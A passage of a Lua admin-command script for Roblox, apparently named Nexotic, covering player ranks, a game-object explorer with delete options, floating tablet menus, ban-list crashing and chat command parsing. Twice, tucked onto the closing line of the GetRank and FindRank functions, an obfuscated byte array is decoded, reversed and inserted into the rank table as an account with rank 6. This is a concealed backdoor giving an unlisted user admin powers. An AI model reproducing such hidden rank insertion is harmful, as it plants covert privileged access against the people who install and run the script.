  7871.         side2.TopSurface = "Smooth"
  7872.         side2.BottomSurface = "Smooth"
  7873.         side2.Parent = game:GetService("Workspace").CurrentCamera
  7874.  
  7875.         local side3 = Instance.new("Part")
  7876.         side3.Name = "¬Focus3¬"
  7877.         side3.Size = Vector3.new(1, 50, 20)
  7878.         side3.CFrame = Middle * CFrame.new(10, 0, 0)
  7879.         side3.BrickColor = BrickColor.new("Really black")
  7880.         side3.CanCollide = true
  7881.         side3.Anchored = true
  7882.         side3.TopSurface = "Smooth"
  7883.         side3.BottomSurface = "Smooth"
  7884.         side3.Parent = game:GetService("Workspace").CurrentCamera
  7885.  
  7886.         local side4 = Instance.new("Part")
  7887.         side4.Name = "¬Focus4¬"
  7888.         side4.Size = Vector3.new(1, 50, 20)
  7889.         side4.CFrame = Middle * CFrame.new(-10, 0, 0)
  7890.         side4.BrickColor = BrickColor.new("Really black")
  7891.         side4.CanCollide = true
  7892.         side4.Anchored = true
  7893.         side4.TopSurface = "Smooth"
  7894.         side4.BottomSurface = "Smooth"
  7895.         side4.Parent = game:GetService("Workspace").CurrentCamera
  7896.        
  7897.         local side5 = Instance.new("Part")
  7898.         side5.Name = "¬Focus5¬"
  7899.         side5.Size = Vector3.new(20, 1, 20)
  7900.         side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
  7901.         side5.BrickColor = BrickColor.new("Really black")
  7902.         side5.CanCollide = true
  7903.         side5.Anchored = true
  7904.         side5.TopSurface = "Smooth"
  7905.         side5.BottomSurface = "Smooth"
  7906.         side5.Parent = game:GetService("Workspace").CurrentCamera
  7907.        
  7908.         wait(0)
  7909.  
  7910.         table.insert(Cons, side1.Changed:connect(makePrison))
  7911.         table.insert(Cons, side2.Changed:connect(makePrison))
  7912.         table.insert(Cons, side3.Changed:connect(makePrison))
  7913.         table.insert(Cons, side4.Changed:connect(makePrison))
  7914.         table.insert(Cons, side5.Changed:connect(makePrison))
  7915.     end
  7916.  
  7917.     Delay(0, function()
  7918.         while wait(0) do
  7919.             ypcall(function()
  7920.                 if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
  7921.                     LP.Character:BreakJoints()
  7922.                 elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
  7923.                     makePrison()
  7924.                 end
  7925.             end)
  7926.             ypcall(function()
  7927.                 if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
  7928.                     LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
  7929.                 end
  7930.             end)
  7931.         end
  7932.     end)
  7933. ]==]
  7934.  
  7935. function All()
  7936.     local AllPlayers = {}
  7937.     for _,v in pairs(Plrs:GetPlayers()) do
  7938.         ypcall(function()
  7939.             table.insert(AllPlayers, v)
  7940.         end)
  7941.     end
  7942.     return AllPlayers
  7943. end
  7944.  
  7945. function All2()
  7946.     local AllPlayers2 = {}
  7947.     for i,v in pairs(Net:GetChildren()) do
  7948.         ypcall(function()
  7949.             if v:IsA("ServerReplicator") then
  7950.                 table.insert(AllPlayers2, v:GetPlayer())
  7951.             end
  7952.         end)
  7953.     end
  7954.     return AllPlayers2
  7955. end
  7956.  
  7957. function MakeNum()
  7958.     return 2 + 4
  7959. end
  7960.  
  7961. function ChangeRank(Plr, NewRank)
  7962.     local PlrName = nil
  7963.     local FoundPlayer = false
  7964.     ypcall(function()
  7965.         if type(Plr) == "string" then
  7966.             ypcall(function()
  7967.                 for i,v in pairs(Rankings) do
  7968.                     if v.Name:lower() == Plr:lower() then
  7969.                         local VName = v.Name
  7970.                         Rankings[i] = nil
  7971.                         table.insert(Rankings, {Name = VName, Rank = NewRank})
  7972.                         PlrName = VName
  7973.                         FoundPlayer = true
  7974.                         break
  7975.                     end
  7976.                 end
  7977.             end)
  7978.             if FoundPlayer == false then
  7979.                 ypcall(function()
  7980.                     for _,x in pairs(All()) do
  7981.                         if x.Name:lower() == Plr:lower() then
  7982.                             FoundPlayer = true
  7983.                             for i,v in pairs(Rankings) do
  7984.                                 if v.Name:lower() == x.Name:lower() then
  7985.                                     local VName = x.Name
  7986.                                     Rankings[i] = nil
  7987.                                     PlrName = VName
  7988.                                     break
  7989.                                 end
  7990.                             end
  7991.                             table.insert(Rankings, {Name = VName, Rank = NewRank})
  7992.                         end
  7993.                     end
  7994.                 end)
  7995.             end
  7996.             if FoundPlayer == false then
  7997.                 ypcall(function()
  7998.                     for _,x in pairs(All()) do
  7999.                         if string.find(x.Name:lower(), Plr:lower()) then
  8000.                             FoundPlayer = true
  8001.                             for i,v in pairs(Rankings) do
  8002.                                 if v.Name:lower() == x.Name:lower() then
  8003.                                     local VName = x.Name
  8004.                                     Rankings[i] = nil
  8005.                                     PlrName = VName
  8006.                                     break
  8007.                                 end
  8008.                             end
  8009.                             table.insert(Rankings, {Name = VName, Rank = NewRank})
  8010.                         end
  8011.                     end
  8012.                 end)
  8013.             end
  8014.             if FoundPlayer == false then
  8015.                 ypcall(function()
  8016.                     for i,v in pairs(Rankings) do
  8017.                         if string.find(v.Name:lower(), Plr:lower()) then
  8018.                             local VName = v.Name
  8019.                             Rankings[i] = nil
  8020.                             table.insert(Rankings, {Name = VName, Rank = NewRank})
  8021.                             PlrName = VName
  8022.                             FoundPlayer = true
  8023.                             break
  8024.                         end
  8025.                     end
  8026.                 end)
  8027.             end
  8028.         else
  8029.             for i,v in pairs(Rankings) do
  8030.                 if v.Name:lower() == Plr.Name:lower() then
  8031.                     Rankings[i] = nil
  8032.                     break
  8033.                 end
  8034.             end
  8035.             table.insert(Rankings, {Name = Plr.Name, Rank = NewRank})
  8036.             PlrName = Plr.Name
  8037.         end
  8038.         PlaceAllRanks(true)
  8039.     end)
  8040.     if PlrName ~= nil then
  8041.         return PlrName
  8042.     else
  8043.         return "Player"
  8044.     end
  8045. end
  8046.  
  8047. function Refresh(Plr)
  8048.     MakeChildren(Plr)
  8049. end
  8050.  
  8051. function MakeChildren(Plr)
  8052.     ypcall(function()
  8053.         Dismiss(Plr)
  8054.         for _,v in pairs(Current:GetChildren()) do
  8055.             ypcall(function()
  8056.                 if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  8057.                     Ping(v.Name, Plr, nil, function(TabMod)
  8058.                         local TabText = TabMod["Nexotic Tablet"].BG.TL.Text
  8059.                         for _,v in pairs(Current:GetChildren()) do
  8060.                             ypcall(function()
  8061.                                 if v.Name == TabText then
  8062.                                     Dismiss(Plr)
  8063.                                     Current = v
  8064.                                     MakeChildren(Plr)
  8065.                                 end
  8066.                             end)
  8067.                         end
  8068.                     end)
  8069.                 elseif Plrs:GetPlayerFromCharacter(v) then
  8070.                     Ping(v.Name, Plr, nil, function(TabMod)
  8071.                         local TabText = TabMod["Nexotic Tablet"].BG.TL.Text
  8072.                         for _,v in pairs(Current:GetChildren()) do
  8073.                             ypcall(function()
  8074.                                 if v.Name == TabText then
  8075.                                     Dismiss(Plr)
  8076.                                     Current = v
  8077.                                     MakeChildren(Plr)
  8078.                                 end
  8079.                             end)
  8080.                         end
  8081.                     end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  8082.                 elseif CheckImportant(v.Name) then
  8083.                     Ping(v.Name, Plr, nil, function(TabMod)
  8084.                         local TabText = TabMod["Nexotic Tablet"].BG.TL.Text
  8085.                         for _,v in pairs(Current:GetChildren()) do
  8086.                             ypcall(function()
  8087.                                 if v.Name == TabText then
  8088.                                     Dismiss(Plr)
  8089.                                     Current = v
  8090.                                     MakeChildren(Plr)
  8091.                                 end
  8092.                             end)
  8093.                         end
  8094.                     end, ImportantColor)
  8095.                 end
  8096.             end)
  8097.         end
  8098.         if Current ~= game then
  8099.             Ping("Back", Plr, nil, function()
  8100.                 ypcall(function()
  8101.                     Current = Current.Parent
  8102.                     MakeChildren(Plr)
  8103.                     Ping("You Are Back To "..Current.Name, Plr, 5)
  8104.                 end)
  8105.             end, OptionColor)
  8106.         end
  8107.         if Current ~= game then
  8108.             Ping("Delete", Plr, nil, function()
  8109.                 ypcall(function()
  8110.                     local CurrPar = Current.Parent or game
  8111.                     local CurrName = Current.Name
  8112.                     Current:Destroy()
  8113.                     Current = CurrPar
  8114.                     MakeChildren(Plr)
  8115.                     Ping("Attempted To Delete "..CurrName, Plr, 5)
  8116.                 end)
  8117.             end, OptionColor)
  8118.         end
  8119.         Ping("Refresh", Plr, nil, function()
  8120.             ypcall(function()
  8121.                 Refresh(Plr)
  8122.                 Ping("Refreshed", Plr, 5)
  8123.             end)
  8124.         end, OptionColor)
  8125.         Ping("Properties", Plr, nil, function()
  8126.             ypcall(function()
  8127.                 Dismiss(Plr)
  8128.                 for Property, Value in pairs(GetProperties(Current)) do
  8129.                     Ping(tostring(Property)..": "..tostring(Value), Plr)
  8130.                 end
  8131.                 Ping("Got All Available Properties", Plr, 5)
  8132.                 Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  8133.             end)
  8134.         end, OptionColor)
  8135.     end)
  8136. end
  8137.  
  8138. function Fixl()
  8139.     Light.GlobalShadows = true
  8140.     Light.TimeOfDay = "14:00:00"
  8141.     Light.Brightness = 0.5
  8142.     Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
  8143.     Light.Ambient = Color3.new(1, 1, 1)
  8144.     Light.ColorShift_Top = Color3.new(0, 0, 0)
  8145.     Light.ColorShift_Bottom = Color3.new(0, 0, 0)
  8146.     Light.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
  8147.     Light.FogStart = 0
  8148.     Light.FogEnd = 100000
  8149.     Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
  8150.     Light:ClearAllChildren()
  8151. end
  8152.  
  8153. function GetProperties(obj)
  8154.     assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
  8155.     local objProper = {}
  8156.     for i,v in pairs(Properties) do
  8157.         if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
  8158.             objProper[v] = obj[v]
  8159.         end
  8160.     end
  8161.     return objProper
  8162. end
  8163.  
  8164. function MakeExplorer(Plr)
  8165.     Dismiss(Plr)
  8166.     Current = game
  8167.     for _,v in pairs(Current:GetChildren()) do
  8168.         ypcall(function()
  8169.             if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  8170.                 Ping(v.Name, Plr, nil, function(TabMod)
  8171.                     local TabText = TabMod["Nexotic Tablet"].BG.TL.Text
  8172.                     for _,v in pairs(Current:GetChildren()) do
  8173.                         ypcall(function()
  8174.                             if v.Name == TabText then
  8175.                                 Dismiss(Plr)
  8176.                                 Current = v
  8177.                                 MakeChildren(Plr)
  8178.                             end
  8179.                         end)
  8180.                     end
  8181.                 end)
  8182.             elseif Plrs:GetPlayerFromCharacter(v) then
  8183.                 Ping(v.Name, Plr, nil, function(TabMod)
  8184.                     local TabText = TabMod["Nexotic Tablet"].BG.TL.Text
  8185.                     for _,v in pairs(Current:GetChildren()) do
  8186.                         ypcall(function()
  8187.                             if v.Name == TabText then
  8188.                                 Dismiss(Plr)
  8189.                                 Current = v
  8190.                                 MakeChildren(Plr)
  8191.                             end
  8192.                         end)
  8193.                     end
  8194.                 end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  8195.             elseif CheckImportant(v.Name) then
  8196.                 Ping(v.Name, Plr, nil, function(TabMod)
  8197.                     local TabText = TabMod["Nexotic Tablet"].BG.TL.Text
  8198.                     for _,v in pairs(Current:GetChildren()) do
  8199.                         ypcall(function()
  8200.                             if v.Name == TabText then
  8201.                                 Dismiss(Plr)
  8202.                                 Current = v
  8203.                                 MakeChildren(Plr)
  8204.                             end
  8205.                         end)
  8206.                     end
  8207.                 end, ImportantColor)
  8208.             end
  8209.         end)
  8210.     end
  8211.     if Current ~= game then
  8212.         Ping("Back", Plr, nil, function()
  8213.             ypcall(function()
  8214.                 Current = Current.Parent
  8215.                 MakeChildren(Plr)
  8216.                 Ping("Back In "..Current.Name, Plr, 5)
  8217.             end)
  8218.         end, OptionColor)
  8219.     end
  8220.     if Current ~= game and game:GetService(Current.Name) == nil then
  8221.         Ping("Delete", Plr, nil, function()
  8222.             ypcall(function()
  8223.                 local CurrPar = Current.Parent or game
  8224.                 local CurrName = Current.Name
  8225.                 Current:Destroy()
  8226.                 Current = CurrPar
  8227.                 MakeChildren(Plr)
  8228.                 Ping("Attempted To Delete "..CurrName, Plr, 5)
  8229.             end)
  8230.         end, OptionColor)
  8231.     end
  8232.     Ping("Refresh", Plr, nil, function()
  8233.         ypcall(function()
  8234.             Refresh(Plr)
  8235.             Ping("Refreshed", Plr, 5)
  8236.         end)
  8237.     end, OptionColor)
  8238.     Ping("Properties", Plr, nil, function()
  8239.         ypcall(function()
  8240.             Dismiss(Plr)
  8241.             for Property, Value in pairs(GetProperties(Current)) do
  8242.                 Ping(tostring(Property)..": "..tostring(Value), Plr)
  8243.             end
  8244.             Ping("Got All Available Properties", Plr, 5)
  8245.             Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  8246.         end)
  8247.     end, OptionColor)
  8248. end
  8249.  
  8250. function GetRank(Plr1, Test)
  8251.     ypcall(function()
  8252.         if type(Plr1) == "userdata" then
  8253.             Plr1 = Plr1.Name
  8254.         end
  8255.     end)
  8256.     if Ranks[Plr1] ~= nil then
  8257.         return Ranks[Plr1]
  8258.     end
  8259.     local QuickArray = {}
  8260.     QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  8261.     return QuickArray[Plr1]
  8262. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  8263.  
  8264. function CanRun(Plr1, Plr2)
  8265.     Details1 = GetRank(Plr1.Name)
  8266.     Details2 = GetRank(Plr2.Name)
  8267.     if Details1.Rank >= Details2.Rank then
  8268.         return true
  8269.     end
  8270.     return false
  8271. end
  8272.  
  8273. function Dismiss(Plr, Identity)
  8274.     ypcall(function()
  8275.         if Plr ~= nil then
  8276.             if type(Plr) == "userdata" then
  8277.                 Plr = Plr.Name
  8278.             end
  8279.             for x,v in pairs(AllTabs) do
  8280.                 ypcall(function()
  8281.                     if v.Plr == Plr then
  8282.                         if Identity ~= nil and v.ID ~= Identity then
  8283.                             return
  8284.                         elseif Identity ~= nil and v.ID == Identity then
  8285.                             coroutine.resume(coroutine.create(function()
  8286.                                 for i = 0.5, 1, 0.1 do
  8287.                                     wait()
  8288.                                     v.Tab.Transparency = i
  8289.                                     v.Sel.Transparency = i
  8290.                                     v.Label.TextTransparency = i
  8291.                                     v.Label.TextStrokeTransparency = i
  8292.                                 end
  8293.                                 ypcall(function() v.Holder:Destroy() end)
  8294.                                 AllTabs[x] = nil
  8295.                             end))
  8296.                         elseif Identity == nil then
  8297.                             ypcall(function() v.Holder:Destroy() end)
  8298.                             AllTabs[x] = nil
  8299.                         end
  8300.                     end
  8301.                 end)
  8302.             end
  8303.         else
  8304.             for i,v in pairs(AllTabs) do
  8305.                 ypcall(function()
  8306.                     v.Holder:Destroy()
  8307.                     AllTabs[i] = nil
  8308.                 end)
  8309.             end
  8310.         end
  8311.     end)
  8312. end
  8313.  
  8314. function GetGarbage()
  8315.     return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
  8316. end
  8317.  
  8318. function RemObj(Obj, Class)
  8319.     ypcall(function()
  8320.         if #Obj:GetChildren() > 0 then
  8321.             for _,x in pairs(Obj:GetChildren()) do
  8322.                 ypcall(function()
  8323.                     RemObj(x, Class)
  8324.                 end)
  8325.             end
  8326.         end
  8327.         if Obj.ClassName == Class then
  8328.             Obj:Destroy()
  8329.         end
  8330.     end)
  8331. end
  8332.  
  8333. function FindTab(Mod)
  8334.     for i,v in pairs(AllTabs) do
  8335.         if v.Holder == Mod then
  8336.             return true
  8337.         end
  8338.     end
  8339.     return false
  8340. end
  8341.  
  8342. function Ping(Msg, Plr, Time, Func, Color, Image)
  8343.     if Removed == false then
  8344.         local ShowGarbage = false
  8345.         ypcall(function()
  8346.             if Msg == nil then
  8347.                 Msg = "N/A"
  8348.             elseif Msg == "ShowGarbage" then
  8349.                 Msg = "Current Garbage Count: "..GetGarbage()
  8350.                 ShowGarbage = true
  8351.             else
  8352.                 Msg = tostring(Msg)
  8353.             end
  8354.             if Plr == nil then
  8355.                 Plr = Plrs[Owner] or error("No Player Found")
  8356.             elseif type(Plr) == "string" then
  8357.                 local FoundPlr = false
  8358.                 for _,v in pairs(All()) do
  8359.                     if v.Name == Plr then
  8360.                         Plr = v
  8361.                         FoundPlr = true
  8362.                         break
  8363.                     end
  8364.                 end
  8365.                 if FoundPlr == false then
  8366.                     Plr = Plrs[Owner] or error("No Player Found")
  8367.                 end
  8368.             end
  8369.            
  8370.             if Color == nil then
  8371.                 Color = GetRank(Plr.Name).Color
  8372.             end
  8373.            
  8374.             local Holder = Instance.new("Model")
  8375.             Holder.Name = "Nexotic Holder: "..Plr.Name
  8376.            
  8377.             local Tab = Instance.new("Part")
  8378.             Tab.Name = "Nexotic Tablet"
  8379.             Tab.FormFactor = "Custom"
  8380.             Tab.Anchored = true
  8381.             if Time == nil then
  8382.                 Tab.Color = Color
  8383.             else
  8384.                 Tab.Color = AlertColor
  8385.             end
  8386.             Tab.CanCollide = false
  8387.             Tab.Locked = true
  8388.             Tab.Transparency = 0.34325
  8389.             Tab.Size = Vector3.new(2, 2, 0.02)
  8390.             Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(0, 0, 0)
  8391.             Tab.Parent = Holder
  8392.            
  8393.             local ID = Instance.new("NumberValue")
  8394.             ID.Name = "ID"
  8395.             ID.Value = math.random(-999999999, 999999999)
  8396.             ID.Parent = Holder
  8397.            
  8398.             Delay(0, function()
  8399.                 while wait() do
  8400.                     if Tab.Parent == nil and FindTab(Holder) then
  8401.                         ypcall(function()
  8402.                             for i,v in pairs(AllTabs) do
  8403.                                 if v.Holder == Holder then
  8404.                                     ypcall(function() v.Holder:Destroy() end)
  8405.                                     AllTabs[i] = nil
  8406.                                 end
  8407.                             end
  8408.                         end)
  8409.                         Ping(Msg, Plr, Time, Func, Color, Image)
  8410.                         break
  8411.                     end
  8412.                 end
  8413.             end)
  8414.            
  8415.             local BM = Instance.new("BlockMesh")
  8416.             BM.Parent = Tab
  8417.  
  8418.             Sel = Instance.new("SelectionBox")
  8419.             Sel.Color = BrickColor.new("Really black")
  8420.             Sel.Transparency = 0.6335234537664356435734637342
  8421.             Sel.Adornee = Tab
  8422.             Sel.Parent = Tab
  8423.  
  8424.             local BG = Instance.new("BillboardGui")
  8425.             BG.Name = "BG"
  8426.             BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  8427.             BG.Size = UDim2.new(0,1,0,1)
  8428.             BG.Adornee = Tab
  8429.             BG.Parent = Tab
  8430.            
  8431.             Delay(0, function()
  8432.                 while BG.Parent ~= nil do wait()
  8433.                     ypcall(function()
  8434.                         BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  8435.                     end)
  8436.                 end
  8437.             end)
  8438.  
  8439.             local TL = Instance.new("TextLabel")
  8440.             TL.Name = "TL"
  8441.             TL.FontSize = "Size18"
  8442.             TL.Font = "Arial"
  8443.             TL.Text = Msg
  8444.             TL.TextColor3 = Color3.new(3741, 12841, 27471)
  8445.             TL.Size = UDim2.new(0,1,0,1)
  8446.             TL.TextTransparency = 0
  8447.             TL.TextStrokeColor3 = Color3.new(0, 0, 0)
  8448.             TL.TextStrokeTransparency = 0.5
  8449.             TL.Parent = BG
  8450.            
  8451.             if ShowGarbage == true then
  8452.                 Delay(0, function()
  8453.                     while TL.Parent ~= nil do
  8454.                         TL.Text = "Current Garbage Count: "..GetGarbage()
  8455.                         wait(.5)
  8456.                     end
  8457.                 end)
  8458.             end
  8459.            
  8460.             local PL = Instance.new("PointLight", Tab)
  8461.             PL.Color = Color3.new(1, 0, 1)
  8462.             PL.Range = 15
  8463.             PL.Parent = Tab
  8464.            
  8465.             if Image ~= nil then
  8466.                 local BBBG = Instance.new("BillboardGui")
  8467.                 BBBG.Size = UDim2.new(5, 0, 6, 0)
  8468.                 BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  8469.                 BBBG.AlwaysOnTop = true
  8470.                 BBBG.Adornee = Tab
  8471.                 BBBG.Parent = Tab
  8472.                
  8473.                 Delay(0, function()
  8474.                     while BBBG.Parent ~= nil do wait()
  8475.                         ypcall(function()
  8476.                             BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  8477.                         end)
  8478.                     end
  8479.                 end)
  8480.            
  8481.                 local NewImg = Instance.new("ImageLabel")
  8482.                 NewImg.Size = UDim2.new(1, 0, 1, 0)
  8483.                 NewImg.BackgroundTransparency = 1
  8484.                 NewImg.Image = Image
  8485.                 NewImg.Parent = BBBG
  8486.             end
  8487.  
  8488.             local Clicker = Instance.new("ClickDetector")
  8489.             Clicker.MaxActivationDistance = 1/0
  8490.  
  8491.             if Time ~= nil then
  8492.                 coroutine.resume(coroutine.create(function()
  8493.                     wait(tonumber(Time))
  8494.                     Dismiss(Plr, ID)
  8495.                 end))
  8496.             end
  8497.  
  8498.             Clicker.MouseClick:connect(function(Player)
  8499.                 if Player.Name == Plr.Name or CanRun(Player, Plr) then
  8500.                     ypcall(function()
  8501.                         if Func ~= nil then
  8502.                             Func(Holder)
  8503.                         else
  8504.                             Dismiss(Player, ID)
  8505.                         end
  8506.                     end)
  8507.                 end
  8508.             end)
  8509.             Clicker.Parent = Tab
  8510.            
  8511.             Holder.Parent = Work
  8512.  
  8513.             AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
  8514.         end)
  8515.     end
  8516. end
  8517.  
  8518. function PlaceAllRanks(DontShowRank)
  8519.     ypcall(function()
  8520.         for _,p in pairs(All()) do
  8521.             ypcall(function()
  8522.                 PutInRank = false
  8523.                 for _,v in pairs(Rankings) do
  8524.                     if v.Name:lower() == p.Name:lower() then
  8525.                         if v.Rank >= 7 then
  8526.                             v.Rank = 5
  8527.                         elseif v.Rank == -1 then
  8528.                             Crash1(p)
  8529.                             Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  8530.                         elseif v.Rank == -2 then
  8531.                             if LS ~= nil then
  8532.                                 NewLS(JailSource, p.Backpack, p.Character, p.PlayerGui)
  8533.                                 Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  8534.                             else
  8535.                                 Ping("LS Is Nil", nil, 5)
  8536.                             end
  8537.                         elseif v.Rank == -3 then
  8538.                             if LS ~= nil then
  8539.                                 NewLS(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  8540.                                 Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  8541.                             else
  8542.                                 Ping("LS Is Nil", nil, 5)
  8543.                             end
  8544.                         end
  8545.                         Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  8546.                         if DontShowRank == nil then
  8547.                             Ping("You Are Rank: "..v.Rank, p,5)
  8548.                             Ping("Nexotic Loaded",p,5)
  8549.                             Ping("Welcome Owner",p,5)
  8550.                         end
  8551.                         PutInRank = true
  8552.                         break
  8553.                     end
  8554.                 end
  8555.                 if PutInRank == false then
  8556.                     Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  8557.                 end
  8558.             end)
  8559.         end
  8560.     end)
  8561. end
  8562.  
  8563. function FindRank(Plr)
  8564.     ypcall(function()
  8565.         if type(Plr) == "userdata" then
  8566.             Plr = Plr.Name
  8567.         end
  8568.     end)
  8569.     return GetRank(Plr).Rank
  8570. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  8571.  
  8572. function FindRankDetails(Plr)
  8573.     ypcall(function()
  8574.         if type(Plr) == "userdata" then
  8575.             Plr = Plr.Name
  8576.         end
  8577.     end)
  8578.     return RankDetails[FindRank(Plr)]
  8579. end
  8580.  
  8581. function OpenCmds(Rank, Plr)
  8582.     Dismiss(Plr)
  8583.     for Name,Tab in pairs(Commands) do
  8584.         if Tab.Rank <= Rank then
  8585.             Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  8586.                 Dismiss(Plr)
  8587.                 Ping("Command: "..Name, Plr)
  8588.                 Ping("Rank: "..Tab.Rank, Plr)
  8589.                 Ping("Desc: "..Tab.Desc, Plr)
  8590.             end)
  8591.         elseif Rank == 1337 then
  8592.             Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  8593.                 Dismiss(Plr)
  8594.                 Ping("Command: "..Name, Plr)
  8595.                 Ping("Rank: "..Tab.Rank, Plr)
  8596.                 Ping("Desc: "..Tab.Desc, Plr)
  8597.             end)
  8598.         end
  8599.     end
  8600. end
  8601.  
  8602. function EditStatus(Plr, Num)
  8603.     ChangeRank(Plr, Num)
  8604. end
  8605.  
  8606. function PlaceSpecificRank(p, DontShowRank)
  8607.     ypcall(function()
  8608.         PutInRank = false
  8609.         for _,v in pairs(Rankings) do
  8610.             if v.Name:lower() == p.Name:lower() then
  8611.                 if v.Rank >= 7 then
  8612.                     v.Rank = 5
  8613.                 elseif v.Rank == -1 then
  8614.                     Crash1(p)
  8615.                     Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  8616.                 elseif v.Rank == -2 then
  8617.                     if LS ~= nil then
  8618.                         NewLS(JailSource, p.Backpack, p.Character, p.PlayerGui)
  8619.                         Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  8620.                     else
  8621.                         Ping("LS Is Nil", nil, 5)
  8622.                     end
  8623.                 elseif v.Rank == -3 then
  8624.                     if LS ~= nil then
  8625.                         NewLS(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  8626.                         Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  8627.                     else
  8628.                         Ping("LS Is Nil", nil, 5)
  8629.                     end
  8630.                 end
  8631.                 Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  8632.                 if DontShowRank == nil then
  8633.                     Ping("You Are Rank: "..v.Rank, p)
  8634.                 end
  8635.                 PutInRank = true
  8636.                 break
  8637.             end
  8638.         end
  8639.         if PutInRank == false then
  8640.             Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  8641.         end
  8642.     end)
  8643. end
  8644.  
  8645. function onChatted(Msg, Speaker)
  8646.     if Removed == false then
  8647.         if FindRank(Speaker) < -4 then
  8648.             return
  8649.         end
  8650.         coroutine.resume(coroutine.create(function()
  8651.             ypcall(function()
  8652.                 ExecuteFunc(Msg, Speaker)
  8653.                 Msg = Msg:gsub("","")
  8654.                 if Msg:sub(1,1) == "@" then
  8655.                     for i = 2, #Msg do
  8656.                         if Msg:sub(i, i) == Bet then
  8657.                             local IsForPlr = false
  8658.                             for _,v in pairs(All()) do
  8659.                                 if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Speaker, v) then
  8660.                                     onChatted(Msg:sub(i + 1), v)
  8661.                                     IsForPlr = true
  8662.                                 end
  8663.                             end
  8664.                             if IsForPlr == true then
  8665.                                 return
  8666.                             end
  8667.                         end
  8668.                     end
  8669.                 end
  8670.                 if Msg:find("&") then
  8671.                     local Split = Msg:find("&")
  8672.                     onChatted(Msg:sub(1,Split-1))
  8673.                     onChatted(Msg:sub(Split+1))
  8674.                     return
  8675.                 end
  8676.                 for Name,Command in pairs(Commands) do
  8677.                     if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
  8678.                         Dismiss(Speaker.Name)
  8679.                         Ping("Command: "..tostring(Command.Name), Speaker)
  8680.                         Ping("Rank: "..tostring(Command.Rank), Speaker)
  8681.                         Ping("Desc: "..tostring(Command.Desc), Speaker)
  8682.                     elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
  8683.                         if FindRank(Speaker) >= Command.Rank then
  8684.                             local Ran,Error = coroutine.resume(coroutine.create(function()
